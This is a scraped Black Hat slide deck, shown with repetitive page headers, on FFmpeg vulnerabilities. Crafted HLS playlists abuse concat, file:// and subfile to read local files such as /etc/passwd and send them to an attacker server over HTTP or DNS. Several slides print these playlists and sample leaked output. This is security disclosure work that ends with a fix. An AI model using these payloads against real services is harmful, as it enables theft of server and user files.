who are we? - black hat | home · who are we? maxim andreev | @cdump software developer:...

78

Upload: vocong

Post on 14-Apr-2018

224 views

Category:

Documents


5 download

TRANSCRIPT

Page 1: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68
Page 2: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Who are we?

Maxim Andreev | @cdump

● Software developer: [email protected]

● Bughunter, CTF player

Nikolay Ermishkin | @__sl1m

● Security Analyst: @Mail.Ru● Bug hunter, CTF player● ImageTragick creator

Page 3: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Agenda● Background● How FFmpeg works● HTTP Live Streaming● Exploit 1● Exploit 2 (better version)● ...● Exploit N● Conclusion

Page 4: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68
Page 5: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68
Page 6: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Background

● dozens of video formats

● hundreds of video/audio codecs

● different bitrates, resolutions, etc...

Page 7: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68
Page 8: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68
Page 9: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68
Page 10: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

FFmpeg

Page 11: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

How FFmpeg works: user’s view

Page 12: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

How FFmpeg REALLY works

Page 13: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Look closer to FFmpeg: extension

Page 14: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Look closer to FFmpeg: extension

Page 15: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Look closer to FFmpeg: extension

Page 16: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Look closer to FFmpeg: .txt

Page 17: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Look closer to FFmpeg: .txt

Page 18: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

HTTP Live Streaming - HLS

● live and on-demand streaming

● developed by Apple

● supported in FFmpeg

● doc: https://developer.apple.com/streaming/

Page 19: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

HTTP Live Streaming - HLS

Page 20: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

HLS

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://cdev.dx.su:1234/8.mp4#EXT-X-ENDLIST

720.m3u8

Page 21: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

HTTP Live Streaming - HLS

Page 22: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

HTTP Live Streaming - HLS

Page 23: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

HTTP Live Streaming - HLS

Page 24: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

SSRF: read response

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://blackhat.com/about.html#EXT-X-ENDLIST

example.m3u8

Page 25: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

SSRF: read response

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://blackhat.com/about.html?.txt#EXT-X-ENDLIST

example.m3u8

Page 26: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

TXT

Page 27: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

FFmpeg: concat

concat - read and seek from many resources in sequence as if they were a unique resource

Page 28: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

FFmpeg: concat

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://dx.su?

header.m3u8

Page 29: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

FFmpeg: concat

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://dx.su?

header.m3u8

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST

Page 30: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

FFmpeg: concat

http://dx.su?root:x:0:0:root:/root:/usr/bin/zsh

HTTP request to

Page 31: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

YUV4MPEG2

YUV4MPEG2 W30 H30 F25:1 Ip A0:0 CmonoFRAME

header.y4m

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.y4m|file:///etc/passwd#EXT-X-ENDLIST

video.mp4

Page 32: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

YUV4MPEG2

Page 33: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

YUV4MPEG2

thumbnail.png =>

Page 34: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

YUV4MPEG2

Page 35: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68
Page 36: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68
Page 37: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68
Page 38: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68
Page 39: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68
Page 40: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68
Page 41: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

5000$

800$

Page 42: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

5000$

800$

1000$

Page 43: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

We need better POCs...

Page 44: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST

Page 45: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Exploit cons

● Reads first line only

● Web server needed to reproduce

Page 46: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Read full file

subfile,,start,34,end,10000,,:/etc/passwd# read /etc/paswd from the second line

Page 47: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Read full file

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://example.com/header.m3u8|subfile,,start,34,end,10000,,:/etc/passwd#EXT-X-ENDLIST

Page 48: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Read full file

Attacker’s server

Target

subfile,,start,0...

root:x:0… (len 33)

subfile,,start,34...

Page 49: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

DEMO

Page 50: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Can you hack Facebook with this?

Page 51: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Forgotten DNS

ffmpeg.yngwie.ru

69.63.185.113 # facebook ISP

Sat Mar 19 2016 08:02:38 GMT-0400 (EDT)

Page 52: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Is it exploitable?

Page 53: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

File enumeration

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:file:///etc/passwd|http://ffmpeg.example.com/video.mp4#EXT-X-ENDLIST

Page 54: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

It’s cool but we want to read files

Page 55: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://dx.su?

header.m3u8

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST

Page 56: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://

dns_header.m3u8

.example.org

dns_footer.m3u8

Page 57: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

We can construct m3u8 from local file

...#EXTINF:10.0,concat:http://example.org/dns_header.m3u8|subfile,,start,0,end,4,,:///etc/passwd|http://example.org/dns_footer.m3u8 #EXT-X-ENDLIST

Page 58: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

We can’t use HTTP to get our m3u8...

Page 59: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

We can construct m3u8 from local file

...#EXTINF:10.0,concat:file:/dns_header.m3u8|subfile,,start,0,end,4,,:///etc/passwd|file:/dns_footer.m3u8 #EXT-X-ENDLIST

Page 60: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

But target system hasn’t our m3u8 files...

Page 61: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Let’s build them

Page 62: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

So we have an m3u8 inside other m3u8 crafted by chars from known files...

Page 63: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

And surprisingly it works

root.yngwie.ru # first 4 bytes of /etc/passwd

77.37.251.68

Page 64: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

I tried to share my new POC

Page 65: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Oops, I did it again

Page 66: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Is this enough for full service hack?

Page 67: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Exploitation without network support

● .txt trick

● Error-based

Page 68: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Error-based

Page 69: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

How to check my service?

Page 70: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Tool

Page 71: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

My service has no video, should I care about this vulnerability?

Page 72: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

ImageMagick

Page 73: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

I am user, not developer. Am I in danger?

Page 74: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Video files in folder

Page 75: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Ubuntu Linux with FFmpeg

Page 76: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Kali Linux with GStreamer

Page 77: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Results

● Attack video converting services● Attack Linux users● Attack with “HACK IT! button”

● FFmpeg protocol whitelist patch

Page 78: Who are we? - Black Hat | Home · Who are we? Maxim Andreev | @cdump Software developer: Cloud@Mail.RU Bughunter, CTF player ... root.yngwie.ru # first 4 bytes of /etc/passwd 77.37.251.68

Questions?

Maxim Andreev@[email protected]

Nikolay Ermishkin@[email protected]